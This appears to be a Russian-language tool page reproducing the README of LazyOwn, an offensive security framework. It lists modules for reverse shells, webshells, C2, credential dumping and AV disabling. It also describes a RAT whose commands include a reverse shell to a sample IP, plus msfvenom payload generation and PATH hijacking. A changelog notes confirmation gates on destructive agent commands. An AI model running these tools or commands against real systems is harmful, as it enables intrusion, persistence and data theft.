    • flask-unsign
    • name-that-hash
    • certipy-ad
    • ast
    • pykeepass
    • cmd2
    • Pillow
    • netaddr
    • stix2
    • pyautogui
  • subprocess (входит в стандартную библиотеку Python)

  • platform (входит в стандартную библиотеку Python)

  • tkinter (опционально для GUI)

  • numpy (опционально для GUI)

Установка

  1. Клонируйте репозиторий:```sh git clone https://github.com/grisuno/LazyOwn.git cd LazyOwn
root@kitploit:~
2. Установите зависимости Python:```sh
./install.sh

Использование

image```sh ./run or ./fast_run_as_r00t.sh

./run --help [;,;] LazyOwn vvvrelease/0.2.8 Usage: ./run [Options] Options: --help Show this help panel. -v Show version. -p <payloadN.json> Exec with different payload.json example. ./run -p payload1.json, (Special for RedTeams) -c Exec a command using LazyOwn example: ping --no-banner No Banner -s Run as root --old-banner Show old Banner

./fast_run_as_r00t.sh --vpn 1 (the number id of your file in vpn directory)

root@kitploit:~
| `--no-color` | Отключить цветной вывод |
| `--debug` | Включить отладочный вывод |
| `--verbose` | Включить подробный вывод |
| `--silent` | Отключить весь вывод, кроме ошибок |
| `--version` | Показать версию программы и выйти |
| `--help` | Показать справку и выйти |```
Use assign <parameter> <value> to configure parameters.
Use show to display the current parameter values.
Use run <script_name> to execute a script with the set parameters.
Use exit to exit the CLI.

Once the shell is running, you can use the following commands:

list: Lists all LazyOwn Modules.
assign <parameter> <value>: Sets the value of a parameter. For example, assign rhost 192.168.1.1.
show: Displays the current values of all parameters.
run <script>: Executes a specific script available in the framework.
Available Scripts

┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env)
└╼ $ help

01. Reconnaissance
──────────────────
alterx        finalrecon       ping             trace                  
apache_users  getcap           ports            trufflehog             
binarycheck   gospider         proxy            tshark_analyze         
cve           graudit          recon            waybackmachine         
dig           httprobe         serveralive2     whatweb                
dnschef       ipinfo           sherlock         windapsearchscrapeusers
dnsenum       launchpad        sslscan        
dnsmap        metabigor        tcpdump_capture
dnstool_py    openssl_sclient  tcpdump_icmp   

02. Scanning & Enumeration
──────────────────────────
ad_ldap_enum  enum4linux_ng     nbtscan              rpcdump             wpscan
allin         evil_ssdp         net_rpc_addmem       rpcmap_py         
amass         feroxbuster       netexec              samrdump          
arjun         finger_user_enum  netview              sawks             
arpscan       fuzz              nikto                sessionssh        
batchnmap     getnpusers        nmapscript           skipfish          
bbot          gobuster          nuclei               smbattack         
blazy         hound             odat                 smbclient         
bloodhound    kerbrute          openredirex          smbclient_impacket
breacher      lazynmap          osmedeus             smbclient_py      
certipy       ldapdomaindump    parsero              smbmap            
certipy_ad    ldapsearch        parth                smtpuserenum      
changeme      lookupsid         portdiscover         snmpcheck         
cme           lookupsid_py      portservicediscover  snmpwalk          
davtest       loxs              pre2k                swaks             
dirsearch     lynis             pykerbrute           vscan             
dmitry        magicrecon        rdp_check_py         wfuzz             
enum4linux    mqtt_check_py     rpcclient            windapsearch      

03. Exploitation
────────────────
aclpwn_py         gettgtpkinit_py  psexec            sqlmap                    
addspn_py         greatSCT         psexec_py         sqsh                      
autoblody         img2cookie       py3ttyup          ss                        
cacti_exploit     jwt_tool         pyautomate        sshexploit                
commix            krbrelayx_py     pyoracle2         template_helper_serializer
cp                kusa             pywhisker         ticketer                  
createcookie      lazypwn          rejetto_hfs_exec  unicode_WAFbypass         
createdll         lfi              rev               upload_bypass             
digdug            lol              seo               utf                       
download_exploit  ms08_067_netapi  sharpshooter      winbase64payload          
downloader        ntpdate          shellfire         wrapper                   
eternal           owneredit        shellshock        www                       
excelntdonut      padbuster        sireprat          xss                       
filtering         powerserver      sqli              xsstrike                  
gets4uticket_py   printerbug_py    sqli_mssql_test 

04. Post-Exploitation
─────────────────────
add2find                     exe2bin              pezorsh              
adversary                    exe2donutbin         pip_proxy            
adversary_yaml               extract_yaml         pip_repo             
aes_pe                       find                 powershell_cmd_stager
ai_playbook                  follina              rmfromfind           
apt_proxy                    hex2shellcode        rubeus               
apt_repo                     internet_proxy       scavenger            
atomic_lazyown               issue_command_to_c2  scp                  
bin2shellcode                lazywebshell         service_ssh          
convert_remcomsvc_from_file  mimikatzpy           sessionsshstrace     
cports                       msfshellcoder        shellcode            
create_synthetic             ofuscate_string      shellcode2elf        
createpayload                ofuscatesh           shellcode2sylk       
d3monizedshell               ofuscatorps1         shellcode_search     
disableav                    path2hex             ssh_cmd              

05. Persistence
───────────────
asprevbase64       ftp                msfpc                 setoolKits
backdoor_factory   generate_revshell  paranoid_meterpreter  ssh       
conptyshell        grisun0            pwncat                toctoc    
createrevshell     grisun0w           pwncatcs              veil      
createwebshell     ivy                rdp                   weevely   
createwinrevshell  knokknok           revwin                weevelygen
darkarmour         listener_go        scarecrow           
dr0p1t             listener_py        service             

06. Privilege Escalation
────────────────────────
responder  smbserver

07. Credential Access
─────────────────────
addusers                cred          john2hash        rocky           
adsso_spray             creds_py      john2keepas      searchhash      
cewl                    crunch        john2zip         smalldic        
crack_cisco_7_password  cubespraying  keepass          spraykatz       
createcredentials       dacledit      medusa           sshkey          
createhash              generatedic   passtightvnc     sudo            
createmail              hashcat       passwordspray    transform       
createusers_and_hashs   hydra         refill_password  username_anarchy

08. Lateral Movement
────────────────────
addcli     id_rsa           penelope         sshd               wifipass  
bloodyAD   lateral_mov_lin  regeorg          stormbreaker       wmiexec   
chisel     ligolo           rnc              targetedKerberoas  wmiexecpro
dcomexec   mssqlcli         set_proxychains  tord             
getTGT     nc               shadowsocks      upload_c2        
gospherus  ngrok            socat            vpn              

09. Data Exfiltration
─────────────────────
adgetpass    dploot    evilwinrm     getuserspns  reg_py    secretsdump  
decrypt      encrypt   getadusers    gitdumper    rsync     unzip        
download_c2  evidence  getnthash_py  gmsadumper   samdump2  upload_gofile

10. Command & Control
─────────────────────
atomic_agent  automsf     emp3r0r                mitre_test   sliver_server
atomic_gen    c2          empire                 msf        
atomic_tests  caldera     generate_playbook      msfrpc     
attack_plan   duckyspark  iis_webdav_upload_asp  my_playbook

11. Reporting
─────────────
apropos                  createtargets          gpt             process_scans
banners                  download_malwarebazar  groq            pth_net      
c2asm                    extract_ports          img2vid         pup          
camphish                 eyewitness             malwarebazar    vulns        
create_session_json      eyewitness_py          morse         
createjsonmachine        get_avaible_actions    name_the_hash 
createjsonmachine_batch  gowitness              nmapscripthelp

12. Miscellaneous
─────────────────
acknowledgearp   clone_site          getseclist        links         run      
acknowledgeicmp  cron                graph             list          sh       
addhosts         decode              h                 load_session  show     
aliass           download_resources  hex_to_plaintext  nano          sys      
assign           encode              ignorearp         news          tab      
banner           encoderpayload      ignoreicmp        payload       urldecode
base64decode     encodewinbase64     ip                pwd           urlencode
base64encode     exit                ip2asn            qa            v        
check_update     fixel               ip2hex            rhost       
clean            fixperm             kick              rot         
clock            gencert             lazyscript        rotf        

13. Lua Plugin
──────────────
generate_c_reverse_shell          lolbas_certutil_download_exec
generate_cleanup_commands         lolbas_certutil_exe          
generate_html_payload             lolbas_mshta_js              
generate_lateral_command          lolbas_mshta_reverse_shell   
generate_linux_asm_reverse_shell  lolbas_rundll32_dll          
generate_linux_raw_shellcode      lolbas_wmic_xsl_execution    
generate_lolbird                  parse_nmap_with_xmlstarlet   
generate_msfvenom_loader          run_nuclei_on_nmap_files     
generate_msfvenom_loader_windows  run_python_rev_c2            
generate_reverse_shell            rundll32_sct_from_url        
generate_stub                     validate_shellcode           
kerberos_harvest                  visualize_network            
lolbas_bitsadmin_exe            

14. Yaml Addon.
───────────────
AdaptixC2                 GoPEInjection      OverRide
agentzero                 gosearch           peeko
argfuscator               gui                pretender
ATTPwn                    gui2               PTMultiTools
AuroraPatch               hack_browser_data  PTMultiTools_scan
banner_tool               hellbird           PyinMemoryPE
bbr                       hive               pyrit
beacon                    hooka_linux_amd64  raven
blacksandbeacon           hostdiscover       ridenum
blacksandbeacon_bof       kivi_revshell      setoolkit
cgoblin_windows           laps               ShadowLink
Clematis                  lazyaddon_creator  shellcode_custom_win_rev_tcp_xored
commix2                   lazyagentAi        SigPloit
copy-fail-CVE-2026-31431  lazybinenc         spoonmap
CVE-2022-22077            lazyftpsniff       stratus_detonate
CVE_2025_24071_PoC        LazyLoader         stratus_list
demiguise                 lazymapd           toposwarm
ebird3                    lazyownbt          unicorn
evilginx2                 LazyOwnExplorer    upxdump
gcr                       llm                vulnbot
gemini-cli                NullGate           vulnbot_groq
gen_dll_rev               oniux              vulnhuntr
Get_ReverseShell          opencode_adapter   watchguard
githubot                  orpheus            wspcoerce
gomulti_loader_linux
gomulti_loader_windows

15. Adversary YAML.
───────────────────
amsi_c            implant_nim_nim  infect_c     pid_c  
implant_crypt_go  implant_rust_rs  persist_ps1  shell_c

16. Artificial Intelligence
───────────────────────────
ai_toggle

Uncategorized Commands
──────────────────────
addalias          gobuster_dns   ipy             ollama_enum   set          
alias             gobuster_http  listaliases     pop           shell        
edit              gobuster_web   macro           quit          shortcuts    
EOF               help           nikto_host      rrhost        subwfuzz_tool
ffuf_enumeration  history        notify          run_pyscript
ffuf_tool         ipp            nuclei_ad_http  run_script  

┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env)
└╼ $ 


Тег в youtube

https://www.youtube.com/hashtag/lazyown

Подкаст

https://www.youtube.com/watch?v=m4FtlhownvM&list=PLW9Qe5HJK5CFXyIsF9b0NB6n9EY8Am3YZ

DeepWiki

https://deepwiki.com/grisuno/LazyOwn/```sh LazyOwn> assign binary_name my_binary LazyOwn> assign rhost 192.168.1.100 LazyOwn> assign api_key my_api_key LazyOwn> run lazysearch LazyOwn> run lazynmap LazyOwn> exit

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/56369/ba7b630c36106e5c695f92b8954083da0d310fd4bf9e0e97e0f7f2d3571963e8/84200588920e073d5289b78ea6239fe8deda4b978c08fbeaf7e699ff42360669-display-v1.webp)

Для поиска по базе данных, полученной из GTFOBins.```sh
python3 lazysearch.py binario_a_buscar

Поиск с графическим интерфейсом

Дополнительные функции и улучшения: AutocompleteEntry:

В список автодополнения добавлен фильтр для удаления значений None. Новый вектор атаки:

В главный интерфейс добавлена кнопка "New Attack Vector". Реализована функциональность добавления нового вектора атаки и сохранения обновлённых данных в файлы Parquet. Экспорт в CSV:

В главный интерфейс добавлена кнопка "Export to CSV". Реализована функциональность экспорта данных DataFrame в выбранный пользователем CSV-файл. Использование:

Добавить новый вектор атаки: нажмите кнопку "New Attack Vector", заполните поля и сохраните. Экспорт в CSV: нажмите кнопку "Export to CSV" и выберите место для сохранения CSV-файла. Новая функция scan_system_for_binaries:

Реализует общесистемный поиск бинарных файлов с использованием команды file для определения, является ли файл бинарным. Использует os.walk для обхода файловой системы. Результаты отображаются в новом окне в графическом интерфейсе. Кнопка для поиска бинарных файлов:

В главный интерфейс добавлена кнопка "Search System for Binaries", которая вызывает функцию scan_system_for_binaries. Примечание:

Функция is_binary использует команду Unix file для определения, является ли файл бинарным исполняемым файлом. Если вы используете другую операционную систему, вам потребуется адаптировать этот метод для совместимости. Эта реализация может быть ресурсоёмкой, так как она обходит всю файловую систему. Возможно, стоит добавить дополнительные опции для ограничения поиска конкретными каталогами или фильтрации по определённым типам файлов.```sh python3 LazyOwnExplorer.py

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/56369/a6bef5e1b90ace748c0fdb8407c59278ca323e084fb47af7201b4b748370e02f/2548fef0c0caf0a57e8470f969a038dafd23e1ee3c9284b8fdafcc3cd25b32a7-display-v1.webp)```sh
python3 lazyown.py

Если вы хотите обновить, действуем следующим образом:```sh cd LazyOwn rm parquets/.csv rm parquets/.parquet ./update_db.sh

root@kitploit:~
## Использование режима LazyOwn WebShells

LazyOwn Webshell Collection — это коллекция веб-шеллов для нашего фреймворка, которая позволяет нам установить веб-шелл на машине, где мы запускаем LazyOwn, используя различные языки программирования. По сути, LazyOwn Webshell поднимает веб-сервер в каталоге модулей, делая его доступным через веб-браузер. Это позволяет нам как предоставлять модули отдельно через веб, так и получать доступ к каталогу cgi-bin, где находятся четыре шелла: один на Bash, другой на Perl, ещё один на Python и один на ASP, на случай, если целевая машина работает под управлением Windows.```sh
lazywebshell

y listo ya podemos acceder a cualquiera de estas url:

http://localhost:8080/cgi-bin/lazywebshell.sh

http://localhost:8080/cgi-bin/lazywebshell.py

http://localhost:8080/cgi-bin/lazywebshell.asp

http://localhost:8080/cgi-bin/lazywebshell.cgi

image

Использование Lazy MSFVenom для обратной оболочки

root@kitploit:~
Запускает инструмент `msfvenom` для генерации различных полезных нагрузок на основе ввода пользователя.

Эта функция предлагает пользователю выбрать тип полезной нагрузки из предопределённого списка и запускает соответствующую
команду `msfvenom` для создания нужной полезной нагрузки. Она выполняет такие задачи, как генерация различных типов
полезных нагрузок для систем Linux, Windows, macOS и Android, включая опциональное кодирование с помощью Shikata Ga Nai для C-полезных нагрузок.

Сгенерированные полезные нагрузки перемещаются в директорию `sessions`, где устанавливаются соответствующие права доступа. Кроме того,
полезные нагрузки могут быть сжаты с помощью UPX для экономии места. Если выбранная полезная нагрузка — это Android APK,
функция также подпишет APK и выполнит необходимые шаги постобработки.

:param line: Аргументы командной строки для скрипта.
:return: None```sh

run lazymsfvenom or venom

root@kitploit:~
## Система командования и управления
Система командования и управления (C2) обеспечивает удалённые операции через архитектуру клиент-сервер с шифрованной связью.

![image](https://assets.kitploit.com/production/public/readmes/56369/a6b2e6650f8d101d5a7d5c5392cb81f975c4d9458f183f7db86b42ef00b3b8b4/832855450636de370b28aba3c8f5d78fb4a63da72d35fd613fe8b7c8efd14462-display-v1.webp)


## Использование Lazy PATH Hijacking

В /tmp будет создан файл с именем binary_name, заданным в payload, инициализированный с помощью gzip в памяти и использующий bash в payload. Чтобы задать payload из JSON, используйте команду payload для выполнения. Используйте:```sh
lazypathhijacking

Использование режима LazyOwn RAT

image

LazyOwn RAT — это простая, но мощная программа удалённого администрирования. Она включает функцию создания скриншотов, которая захватывает экран сервера, команду загрузки, позволяющую загружать файлы на скомпрометированную машину, и режим C&C, в котором команды могут отправляться на сервер. Она работает в двух режимах: клиентском и серверном. Обфускация отсутствует, и RAT основана на BasicRat. Вы можете найти её на GitHub по адресу https://github.com/awesome-security/basicRAT и https://github.com/hash3liZer/SillyRAT. Хотя последняя гораздо более функциональна, я просто хотел реализовать захват скриншотов, загрузку файлов и отправку команд. Возможно, в будущем я добавлю функцию просмотра веб-камеры, но это будет позже.```sh usage: lazyownserver.py [-h] [--host HOST] [--port PORT] --key KEY lazyownserver.py: error: the following arguments are required: --key

usage: lazyownclient.py [-h] --host HOST --port PORT --key KEY lazyownclient.py: error: the following arguments are required: --host, --port, --key

LazyOwn> run lazyownclient [?] lhost and lport and rat_key must be set

LazyOwn> run lazyownserver [?] rhost and lport and rat_key must be set

luego los comandos son:

upload /path/to/file donwload /path/to/file screenshot sysinfo fix_xauth #to fix xauth xD lazyownreverse 192.168.1.100 8888 #Reverse shell to 192.168.1.100 on port 8888 ready to C&C

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/56369/1f4b751f9624aab5b4ce0539ebf8320448d919c1762063233732ff5ca0521cd1/e7d8ffe4e76a695a901e681af4238292854553071ba951c9fb82a0bab1c31ec9-display-v1.webp)

## Использование режима Lazy Meta Extract0r

LazyMeta Extract0r — это инструмент, предназначенный для извлечения метаданных из различных типов файлов, включая PDF, DOCX, OLE-файлы (такие как DOC и XLS), а также нескольких форматов изображений (JPG, JPEG, TIFF). Этот инструмент обходит указанный каталог, ищет файлы с совместимыми расширениями, извлекает метаданные и сохраняет их в выходной файл.

[*] Iniciando: LazyMeta extract0r [;,;]

usage: lazyown_metaextract0r.py [-h] --path PATH
lazyown_metaextract0r.py: error: the following arguments are required: --path```sh
python3 lazyown_metaextract0r.py --path /home/user

image

Режим использования decrypt encrypt

Метод шифрования, который позволяет нам как шифровать файлы, так и расшифровывать их, если у нас, конечно, есть ключ.

Captura de pantalla 2024-06-08 231900```sh encrypt path/to/file key # to encrypt decrypt path/to/file.enc key #to decrypt

root@kitploit:~
## Использование режима LazyNmap

![image](https://assets.kitploit.com/production/public/readmes/56369/403f95b75c2df27912b402f904b967fd4fd9b5834a8b22577db5ae6d16f627b4/be45e2a2e7ab56af4ccca9c351cb09b712c09451a0a95171579591391902c2bc-display-v1.webp)


Использование Lazynmap предоставляет нам автоматизированный скрипт для цели, в данном случае 127.0.0.1, с использованием Nmap. Скрипт требует административных прав через sudo. Он также включает модуль обнаружения сети для определения того, что присутствует в вашем сегменте IP. Кроме того, скрипт теперь можно вызывать без параметров с помощью псевдонима nmap или команды run lazynmap.

![image](https://assets.kitploit.com/production/public/readmes/56369/fba537bb9b40a8054efb84fd98e32096e7ca5c87d199479edb6713d4766942e5/8407e269d44e3fcb2e726b818f6fea45cb7c4db901fb4755f1e7c4cda1456cea-display-v1.webp)```sh
./lazynmap.sh -t 127.0.0.1 # or in the cli just nmap

Использование однострочного CLI-ассистента и исследователя LazyOwn GPT

Откройте для себя революцию в автоматизации задач пентестинга с помощью однострочного CLI-ассистента LazyOwn GPT! Этот невероятный скрипт является частью набора инструментов LazyOwn, созданного, чтобы сделать вашу жизнь пентестера более эффективной и продуктивной.

Ключевые возможности:


Read more

Скачать инструмент
confirm=true
lazyown_c2_command, lazyown_c2_redop, lazyown_c2_adversary и любая run_command, тело которой соответствует rm -rf / exfil / wipe / encrypt-file, теперь требуют явного аргумента confirm=true.
Предотвращает случайные деструктивные действия из автономных циклов.
Происхождение + уверенность для учётных данныхКаждые учётные данные, предоставляемые через target_context, включают is_likely_credential, confidence, classification и блок provenance (source_file, line_no, captured_at), когда они найдены.Требуется для цепочки сохранности в отчётах о пентестах.
Аннотации свежестиКаждый файл доказательств в JSON SITREP и target_context несёт age_seconds, age_human и stale=true, как только превышает freshness_threshold_seconds (по умолчанию 7 дней; настраивается для каждого вызова).Не даёт агенту эксплуатировать на основе устаревших данных разведки.
cme
secretsdump
PayloadAwareCompleter
Динамическое разрешение псевдонимовcli/aliases.py теперь по умолчанию использует lazy=True: шаблоны псевдонимов сохраняют свои заполнители {rhost}/{lhost}/и т.д. и отображаются против self.params во время выполнения. set rhost X распространяется на каждый псевдоним при следующем нажатии клавиши (без перезапуска оболочки). Предварительная подстановка по-прежнему доступна с lazy=False.DynamicAliasResolver, cli/aliases.py